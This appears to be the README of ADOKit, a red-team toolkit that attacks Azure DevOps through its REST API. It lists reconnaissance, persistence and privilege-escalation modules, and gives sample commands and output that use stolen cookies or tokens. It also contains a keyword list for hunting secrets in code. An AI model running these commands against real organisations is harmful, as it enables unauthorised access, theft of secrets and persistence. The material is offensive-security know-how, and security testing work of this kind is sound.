h4wkst3r/adokitModular attack toolkit exploiting Azure DevOps REST API for reconnaissance, privilege escalation, and persistence using stolen cookies or PATs.
# ADOKit
## Description
Azure DevOps Services Attack Toolkit - ADOKit is a toolkit that can be used to attack Azure DevOps Services by taking advantage of the available REST API. The tool allows the user to specify an attack module, along with specifying valid credentials (API key or stolen authentication cookie) for the respective Azure DevOps Services instance. The attack modules supported include reconnaissance, privilege escalation and persistence. ADOKit was built in a modular approach, so that new modules can be added in the future by the information security community.
Full details on the techniques used by ADOKit are in the X-Force Red [whitepaper](https://www.ibm.com/downloads/cas/5JKAPVYD).
### Black Hat USA Arsenal 2024
Presentation slides and demos are included in [BHUSA Arsenal 2024](https://github.com/h4wkst3r/adokit/blob/main/BHUSA_Arsenal_2024) folder in this repository.
## Release
* Version 1.4.1 of ADOKit can be found in Releases
## Table of Contents
- [ADOKit](#ADOKit)
- [Table of Contents](#table-of-contents)
- [Installation/Building](#installationbuilding)
- [Libraries Used](#libraries-used)
- [Pre-Compiled](#pre-compiled)
- [Building Yourself](#building-yourself)
- [Command Modules](#command-modules)
- [Arguments/Options](#argumentsoptions)
- [Authentication Options](#authentication-options)
- [Module Details Table](#module-details-table)
- [Examples](#examples)
- Recon
- [Validate Azure DevOps Access](#validate-azure-devops-access)
- [Whoami](#whoami)
- [List Orgs](#List-orgs)
- [List Repos](#List-repos)
- [Search Repos](#Search-repos)
- [List Projects](#list-projects)
- [Search Projects](#search-projects)
- [Search Code](#Search-code)
- [Search Files](#Search-files)
- [List Users](#list-users)
- [Search User](#search-user)
- [List Teams](#list-teams)
- [Search Team](#search-team)
- [Get Team Members](#get-team-members)
- [List Groups](#list-groups)
- [Search Groups](#search-groups)
- [Get Group Members](#get-group-members)
- [Get Project Permissions](#get-project-permissions)
- [Creds Search](#creds-search)
- [Get Build Logs](#get-build-logs)
- [List Build Logs](#list-build-logs)
- [Search Build Logs](#search-build-logs)
- Persistence
- [Create PAT](#create-pat)
- [List PATs](#list-pats)
- [Remove PAT](#remove-pat)
- [Create SSH Key](#create-ssh-key)
- [List SSH Keys](#list-ssh-keys)
- [Remove SSH Key](#remove-ssh-key)
- Privilege Escalation
- [Add Project Admin](#add-project-admin)
- [Remove Project Admin](#remove-project-admin)
- [Add Build Admin](#add-build-admin)
- [Remove Build Admin](#remove-build-admin)
- [Add Collection Admin](#add-collection-admin)
- [Remove Collection Admin](#remove-collection-admin)
- [Add Collection Build Admin](#add-collection-build-admin)
- [Remove Collection Build Admin](#remove-collection-build-admin)
- [Add Collection Build Service Account](#add-collection-build-service-account)
- [Remove Collection Build Service Account](#remove-collection-build-service-account)
- [Add Collection Service Account](#add-collection-service-account)
- [Remove Collection Service Account](#remove-collection-service-account)
- [Get Pipeline Variables](#get-pipeline-variables)
- [Get Pipeline Secrets](#get-pipeline-secrets)
- [Get Variable Groups](#get-variable-groups)
- [Get Service Connections](#get-service-connections)
- [Detection](#detection)
- [Roadmap](#roadmap)
- [References](#references)
## Installation/Building
### Libraries Used
The below 3rd party libraries are used in this project.
| Library | URL | License |
| ------------- | ------------- | ------------- |
| Fody | [https://github.com/Fody/Fody](https://github.com/Fody/Fody) | MIT License |
| Newtonsoft.Json | [https://github.com/JamesNK/Newtonsoft.Json](https://github.com/JamesNK/Newtonsoft.Json) | MIT License |
### Pre-Compiled
* Use the pre-compiled binary in Releases
### Building Yourself
Take the below steps to setup Visual Studio in order to compile the project yourself. This requires two .NET libraries that can be installed from the NuGet package manager.
* Load the Visual Studio project up and go to "Tools" --> "NuGet Package Manager" --> "Package Manager Settings"
* Go to "NuGet Package Manager" --> "Package Sources"
* Add a package source with the URL `https://api.nuget.org/v3/index.json`
* Install the Costura.Fody NuGet package.
* `Install-Package Costura.Fody -Version 3.3.3`
* Install the Newtonsoft.Json package
* `Install-Package Newtonsoft.Json`
* You can now build the project yourself!
## Command Modules
* Recon
* <b>check</b> - Check whether organization uses Azure DevOps and if credentials are valid
* <b>whoami</b> - List the current user and its group memberships
* <b>listorgs</b> - List accessible or all organizations within Azure DevOps
* <b>listrepo</b> - List all repositories
* <b>searchrepo</b> - Search for given repository
* <b>listproject</b> - List all projects
* <b>searchproject</b> - Search for given project
* <b>searchcode</b> - Search for code containing a search term
* <b>searchfile</b> - Search for file based on a search term
* <b>listuser</b> - List users
* <b>searchuser</b> - Search for a given user
* <b>listteam</b> - List teams
* <b>searchteam</b> - Search for a given team
* <b>getteammembers</b> - Get team members for a given team
* <b>listgroup</b> - List groups
* <b>searchgroup</b> - Search for a given group
* <b>getgroupmembers</b> - List all group members for a given group
* <b>getpermissions</b> - Get the permissions for who has access to a given project
* <b>creds</b> - Search for credentials in code (keywords listed below)
* ``` "pw OR pwd OR passwrod OR password OR \"-----BEGIN PGP PRIVATE KEY BLOCK-----\" OR \"-----BEGIN EC PRIVATE KEY-----\" OR \"-----BEGIN DSA PRIVATE KEY-----\" OR \"-----BEGIN OPENSSH PRIVATE KEY-----\" OR \"-----BEGIN RSA PRIVATE KEY-----\" OR ANSIBLE_VAULT OR AWS_ACCESS_KEY_ID OR AWS_SECRET_ACCESS_KEY OR ACCESS_TOKEN OR API_KEY OR Authorization OR db_password" ```
* <b>getbuildlogs</b> - Download the build logs for one or all projects
* <b>listbuildlogs</b> - List the build logs for one or all projects
* <b>searchbuildlogs</b> - Search build logs for a given search term
* Persistence
* <b>createpat</b> - Create personal access token for user
* <b>listpat</b> - List personal access tokens for user
* <b>removepat</b> - Remove personal access token for user
* <b>createsshkey</b> - Create public SSH key for user
* <b>listsshkey</b> - List public SSH keys for user
* <b>removesshkey</b> - Remove public SSH key for user
* Privilege Escalation
* <b>addprojectadmin</b> - Add a user to the "Project Administrators" for a given project
* <b>removeprojectadmin</b> - Remove a user from the "Project Administrators" group for a given project
* <b>addbuildadmin</b> - Add a user to the "Build Administrators" group for a given project
* <b>removebuildadmin</b> - Remove a user from the "Build Administrators" group for a given project
* <b>addcollectionadmin</b> - Add a user to the "Project Collection Administrators" group
* <b>removecollectionadmin</b> - Remove a user from the "Project Collection Administrators" group
* <b>addcollectionbuildadmin</b> - Add a user to the "Project Collection Build Administrators" group
* <b>removecollectionbuildadmin</b> - Remove a user from the "Project Collection Build Administrators" group
* <b>addcollectionbuildsvc</b> - Add a user to the "Project Collection Build Service Accounts" group
* <b>removecollectionbuildsvc</b> - Remove a user from the "Project Collection Build Service Accounts" group
* <b>addcollectionsvc</b> - Add a user to the "Project Collection Service Accounts" group
* <b>removecollectionsvc</b> - Remove a user from the "Project Collection Service Accounts" group
* <b>getpipelinevars</b> - Retrieve any pipeline variables used for a given project.
* <b>getpipelinesecrets</b> - Retrieve the names of any pipeline secrets used for a given project.
* <b>getvariablegroups</b> - Retrieve any variable groups and the corresponding variables used for a given project.
* <b>getserviceconnections</b> - Retrieve the service connections used for a given project.
## Arguments/Options
* <b>/credential:</b> - credential for authentication (PAT or Cookie). Applicable to all modules.
* <b>/url:</b> - Azure DevOps URL. Applicable to all modules.
* <b>/search:</b> - Keyword to search for. Not applicable to all modules.
* <b>/project:</b> - Project to perform an action for. Not applicable to all modules.
* <b>/user:</b> - Perform an action against a specific user. Not applicable to all modules.
* <b>/id:</b> - Used with persistence modules to perform an action against a specific token ID. Not applicable to all modules.
* <b>/group:</b> - Perform an action against a specific group. Not applicable to all modules.
## Authentication Options
Below are the authentication options you have with ADOKit when authenticating to an Azure DevOps instance.
* **Stolen Cookie - UserAuthentication** - This will be the `UserAuthentication` cookie on a user's machine for the `.dev.azure.com` domain.
* `/credential:UserAuthentication=ABC123`
* **Stolen Cookie - AadAuthentication** - This will be the `AadAuthentication` cookie on a user's machine for the `.dev.azure.com` domain.
* `/credential:eyJ0...`
* **Personal Access Token (PAT)** - This will be an access token/API key that will be a single string.
* `/credential:apiToken`
* **Stolen Access Token** - If you can steal or refresh a suitable access token you can also use it. When using an access token, it must be valid for the resource of Azure Resource Manager (ARM) - `"aud":"https://management.core.windows.net/"` or Azure Devops - `"aud":"499b84ac-1321-427f-aa17-267ca6975798"`
* `/credential:eyJ0..`
## Module Details Table
The below table shows the permissions required for each module.
Attack Scenario | Module | Special Permissions? | Notes
--- |--- | --- | ---
Recon | `check` | No |
Recon | `whoami` | No |
Recon | `listorgs` | No |
Recon | `listrepo` | No |
Recon | `searchrepo` | No |
Recon | `listproject` | No |
Recon | `searchproject` | No |
Recon | `searchcode` | No |
Recon | `searchfile` | No |
Recon | `listuser` | No |
Recon | `searchuser` | No |
Recon | `listteam` | No |
Recon | `searchteam` | No |
Recon | `getteammembers` | No |
Recon | `listgroup` | No |
Recon | `searchgroup` | No |
Recon | `getgroupmembers` | No |
Recon | `getpermissions` | No |
Recon | `creds` | No |
Recon | `getbuildlogs` | Yes - `Contributors` or `Readers` or `Build Administrators` or `Project Administrators` or `Project Team Member` or `Project Collection Test Service Accounts` or `Project Collection Build Service Accounts` or `Project Collection Build Administrators` or `Project Collection Service Accounts` or `Project Collection Administrators` |
Recon | `listbuildlogs` | Yes - `Contributors` or `Readers` or `Build Administrators` or `Project Administrators` or `Project Team Member` or `Project Collection Test Service Accounts` or `Project Collection Build Service Accounts` or `Project Collection Build Administrators` or `Project Collection Service Accounts` or `Project Collection Administrators` |
Recon | `searchbuildlogs` | Yes - `Contributors` or `Readers` or `Build Administrators` or `Project Administrators` or `Project Team Member` or `Project Collection Test Service Accounts` or `Project Collection Build Service Accounts` or `Project Collection Build Administrators` or `Project Collection Service Accounts` or `Project Collection Administrators` |
Persistence | `createpat` | No |
Persistence | `listpat` | No |
Persistence | `removepat` | No |
Persistence | `createsshkey` | No |
Persistence | `listsshkey` | No |
Persistence | `removesshkey` | No |
Privilege Escalation | `addprojectadmin` | Yes - `Project Administrator`, `Project Collection Administrator` or `Project Collection Service Accounts` |
Privilege Escalation | `removeprojectadmin` | Yes - `Project Administrator`, `Project Collection Administrator` or `Project Collection Service Accounts` |
Privilege Escalation | `addbuildadmin` | Yes - `Project Administrator`, `Project Collection Administrator` or `Project Collection Service Accounts` |
Privilege Escalation | `removebuildadmin` | Yes - `Project Administrator`, `Project Collection Administrator` or `Project Collection Service Accounts` |
Privilege Escalation | `addcollectionadmin` | Yes - `Project Collection Administrator` or `Project Collection Service Accounts` |
Privilege Escalation | `removecollectionadmin` | Yes - `Project Collection Administrator` or `Project Collection Service Accounts` |
Privilege Escalation | `addcollectionbuildadmin` | Yes - `Project Collection Administrator` or `Project Collection Service Accounts` |
Privilege Escalation | `removecollectionbuildadmin` | Yes - `Project Collection Administrator` or `Project Collection Service Accounts` |
Privilege Escalation | `addcollectionbuildsvc` | Yes - `Project Collection Administrator`, `Project Colection Build Administrators` or `Project Collection Service Accounts` |
Privilege Escalation | `removecollectionbuildsvc` | Yes - `Project Collection Administrator`, `Project Colection Build Administrators` or `Project Collection Service Accounts` |
Privilege Escalation | `addcollectionsvc` | Yes - `Project Collection Administrator` or `Project Collection Service Accounts` |
Privilege Escalation | `removecollectionsvc` | Yes - `Project Collection Administrator` or `Project Collection Service Accounts` |
Privilege Escalation | `getpipelinevars` | Yes - `Contributors` or `Readers` or `Build Administrators` or `Project Administrators` or `Project Team Member` or `Project Collection Test Service Accounts` or `Project Collection Build Service Accounts` or `Project Collection Build Administrators` or `Project Collection Service Accounts` or `Project Collection Administrators` |
Privilege Escalation | `getpipelinesecrets` | Yes - `Contributors` or `Readers` or `Build Administrators` or `Project Administrators` or `Project Team Member` or `Project Collection Test Service Accounts` or `Project Collection Build Service Accounts` or `Project Collection Build Administrators` or `Project Collection Service Accounts` or `Project Collection Administrators` |
Privilege Escalation | `getvariablegroups` | Yes - `Contributors` or `Readers` or `Build Administrators` or `Project Administrators` or `Project Team Member` or `Project Collection Test Service Accounts` or `Project Collection Build Service Accounts` or `Project Collection Build Administrators` or `Project Collection Service Accounts` or `Project Collection Administrators` |
Privilege Escalation | `getserviceconnections` | Yes - `Project Administrator`, `Project Collection Administrator` or `Project Collection Service Accounts` |
## Examples
### Validate Azure DevOps Access
#### Use Case
> *Perform authentication check to ensure that organization is using Azure DevOps and that provided credentials are valid.*
#### Syntax
Provide the `check` module, along with any relevant authentication information and URL. This will output whether the organization provided is using Azure DevOps, and if so, will attempt to validate the credentials provided.
`ADOKit.exe check /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe check /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Example Output
```
C:\>ADOKit.exe check /credential:apiKey /url:https://dev.azure.com/YourOrganization
==================================================
Module: check
Auth Type: API Key
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/28/2023 3:33:01 PM
==================================================
[*] INFO: Checking if organization provided uses Azure DevOps
[+] SUCCESS: Organization provided exists in Azure DevOps
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
3/28/23 19:33:02 Finished execution of check
```
### Whoami
#### Use Case
> *Get the current user and the user's group memberhips*
#### Syntax
Provide the `whoami` module, along with any relevant authentication information and URL. This will output the current user and all of its group memberhips.
`ADOKit.exe whoami /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe whoami /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Example Output
```
C:\>ADOKit.exe whoami /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization
==================================================
Module: whoami
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 11:33:12 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Username | Display Name | UPN
------------------------------------------------------------------------------------------------------------------------------------------------------------
jsmith | John Smith | [email protected]
[*] INFO: Listing group memberships for the current user
Group UPN | Display Name | Description
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[YourOrganization]\Project Collection Test Service Accounts | Project Collection Test Service Accounts | Members of this group should include the service accounts used by the test controllers set up for this project collection.
[TestProject2]\Contributors | Contributors | Members of this group can add, modify, and delete items within the team project.
[MaraudersMap]\Contributors | Contributors | Members of this group can add, modify, and delete items within the team project.
[YourOrganization]\Project Collection Administrators | Project Collection Administrators | Members of this application group can perform all privileged operations on the Team Project Collection.
4/4/23 15:33:19 Finished execution of whoami
```
### List Orgs
#### Use Case
> *Retrieve organizations using a given access token.*
#### Syntax
Provide the `listorgs` module with the required authentication information. By default, this command lists only the organizations accessible with the provided access token.
- Use **`/mode:aad`** to enumerate **all** DevOps organizations within the Azure AD tenant, regardless of direct access.
- Use **`/endpoint:ENDPOINT_NAME`** to specify a custom AEX endpoint.
- Additional endpoints can be identified by inspecting the `"X-VSS-DeploymentAffinity"` cookie from `aex.dev.azure.com`.
`ADOKit.exe listorgs /credential:"eyj0..." [/mode:aad] [/endpoint:ENDPOINT_NAME]`
`ADOKit.exe listorgs /credential:"eyj0..." /mode:aad /endpoint:aexprodeus21`
#### Example Output
```
C:\>ADOKit.exe listorgs /credential:"eyj0..."
==================================================
Module: listorgs
Auth Type: Azure Access Token
Target URL: https://app.vssps.visualstudio.com
Timestamp: 3/14/2025 2:26:45 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Organization ID | Organization Name
-----------------------------------------------------------------------------------
390a7474-e2f2-4b98-b538-4a547fa9f5e3 | solar-devops
b63b999f-43f2-48c5-998d-b31cbf4c2f8e | lunar-devops
```
### List Repos
#### Use Case
> *Discover repositories being used in Azure DevOps instance*
#### Syntax
Provide the `listrepo` module, along with any relevant authentication information and URL. This will output the repository name and URL.
`ADOKit.exe listrepo /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listrepo /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Example Output
```
C:\>ADOKit.exe listrepo /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
==================================================
Module: listrepo
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/29/2023 8:41:50 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | URL
-----------------------------------------------------------------------------------
TestProject2 | https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2
MaraudersMap | https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap
SomeOtherRepo | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/SomeOtherRepo
AnotherRepo | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/AnotherRepo
ProjectWithMultipleRepos | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/ProjectWithMultipleRepos
TestProject | https://dev.azure.com/YourOrganization/TestProject/_git/TestProject
3/29/23 12:41:53 Finished execution of listrepo
```
### Search Repos
#### Use Case
> *Search for repositories by repository name in Azure DevOps instance*
#### Syntax
Provide the `searchrepo` module and your search criteria in the `/search:` command-line argument, along with any relevant authentication information and URL. This will output the matching repository name and URL.
`ADOKit.exe searchrepo /credential:apiKey /url:https://dev.azure.com/organizationName /search:cred`
`ADOKit.exe searchrepo /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:cred`
#### Example Output
```
C:\>ADOKit.exe searchrepo /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"test"
==================================================
Module: searchrepo
Auth Type: API Key
Search Term: test
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/29/2023 9:26:57 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | URL
-----------------------------------------------------------------------------------
TestProject2 | https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2
TestProject | https://dev.azure.com/YourOrganization/TestProject/_git/TestProject
3/29/23 13:26:59 Finished execution of searchrepo
```
### List Projects
#### Use Case
> *Discover projects being used in Azure DevOps instance*
#### Syntax
Provide the `listproject` module, along with any relevant authentication information and URL. This will output the project name, visibility (public or private) and URL.
`ADOKit.exe listproject /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listproject /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Example Output
```
C:\>ADOKit.exe listproject /credential:apiKey /url:https://dev.azure.com/YourOrganization
==================================================
Module: listproject
Auth Type: API Key
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 7:44:59 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | Visibility | URL
-----------------------------------------------------------------------------------------------------
TestProject2 | private | https://dev.azure.com/YourOrganization/TestProject2
MaraudersMap | private | https://dev.azure.com/YourOrganization/MaraudersMap
ProjectWithMultipleRepos | private | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos
TestProject | private | https://dev.azure.com/YourOrganization/TestProject
4/4/23 11:45:04 Finished execution of listproject
```
### Search Projects
#### Use Case
> *Search for projects by project name in Azure DevOps instance*
#### Syntax
Provide the `searchproject` module and your search criteria in the `/search:` command-line argument, along with any relevant authentication information and URL. This will output the matching project name, visibility (public or private) and URL.
`ADOKit.exe searchproject /credential:apiKey /url:https://dev.azure.com/organizationName /search:cred`
`ADOKit.exe searchproject /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:cred`
#### Example Output
```
C:\>ADOKit.exe searchproject /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"map"
==================================================
Module: searchproject
Auth Type: API Key
Search Term: map
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 7:45:30 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | Visibility | URL
-----------------------------------------------------------------------------------------------------
MaraudersMap | private | https://dev.azure.com/YourOrganization/MaraudersMap
4/4/23 11:45:31 Finished execution of searchproject
```
### Search Code
#### Use Case
> *Search for code containing a given keyword in Azure DevOps instance*
#### Syntax
Provide the `searchcode` module and your search criteria in the `/search:` command-line argument, along with any relevant authentication information and URL. This will output the URL to the matching code file, along with the line in the code that matched.
`ADOKit.exe searchcode /credential:apiKey /url:https://dev.azure.com/organizationName /search:password`
`ADOKit.exe searchcode /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:password`
#### Example Output
```
C:\>ADOKit.exe searchcode /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"password"
==================================================
Module: searchcode
Auth Type: Cookie
Search Term: password
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/29/2023 3:22:21 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
|_ Console.WriteLine("PassWord");
|_ this is some text that has a password in it
[>] URL: https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2?path=/Program.cs
|_ Console.WriteLine("PaSsWoRd");
[*] Match count : 3
3/29/23 19:22:22 Finished execution of searchcode
```
### Search Files
#### Use Case
> *Search for files in repositories containing a given keyword in the file name in Azure DevOps*
#### Syntax
Provide the `searchfile` module and your search criteria in the `/search:` command-line argument, along with any relevant authentication information and URL. This will output the URL to the matching file in its respective repository.
`ADOKit.exe searchfile /credential:apiKey /url:https://dev.azure.com/organizationName /search:azure-pipeline`
`ADOKit.exe searchfile /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:azure-pipeline`
#### Example Output
```
C:\>ADOKit.exe searchfile /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"test"
==================================================
Module: searchfile
Auth Type: Cookie
Search Term: test
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/29/2023 11:28:34 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
File URL
----------------------------------------------------------------------------------------------------
https://dev.azure.com/YourOrganization/MaraudersMap/_git/4f159a8e-5425-4cb5-8d98-31e8ac86c4fa?path=/Test.cs
https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/c1ba578c-1ce1-46ab-8827-f245f54934e9?path=/Test.cs
https://dev.azure.com/YourOrganization/TestProject/_git/fbcf0d6d-3973-4565-b641-3b1b897cfa86?path=/test.cs
3/29/23 15:28:37 Finished execution of searchfile
```
### Creds Search
#### Use Case
> *Search for code containing secrets such as passwords or API keys in Azure DevOps*
#### Syntax
Provide the `creds` module, along with any relevant authentication information and URL. This will output the URL to the matching file in its respective repository, and the matching line(s) where creds are present.
`ADOKit.exe creds /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe creds /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Example Output
```
C:\>ADOKit.exe creds /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
==================================================
Module: creds
Auth Type: Cookie
Search Term: pw OR pwd OR passwrod OR password OR \"-----BEGIN PGP PRIVATE KEY BLOCK-----\" OR \"-----BEGIN EC PRIVATE KEY-----\" OR \"-----BEGIN DSA PRIVATE KEY-----\" OR \"-----BEGIN OPENSSH PRIVATE KEY-----\" OR \"-----BEGIN RSA PRIVATE KEY-----\" OR ANSIBLE_VAULT OR AWS_ACCESS_KEY_ID OR AWS_SECRET_ACCESS_KEY OR ACCESS_TOKEN OR API_KEY OR Authorization OR db_password
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/30/2023 10:17:49 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
|_ Console.WriteLine("PassWord");
|_ this is some text that has a password in it
[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
|_ API_KEY=ABC123
[>] URL: https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2?path=/Program.cs
|_ Console.WriteLine("PaSsWoRd");
[>] URL: https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/AnotherRepo?path=/config.yaml
|_ Password: ItIsSuperSecret!
[*] Match count : 5
3/30/23 14:17:54 Finished execution of creds
```
### Get Build Logs
#### Use Case
> *Download the logs of all the pipeline runs (build logs). You can then search offline for information and/or secrets.*
#### Syntax
---
[Read more](https://github.com/h4wkst3r/adokit)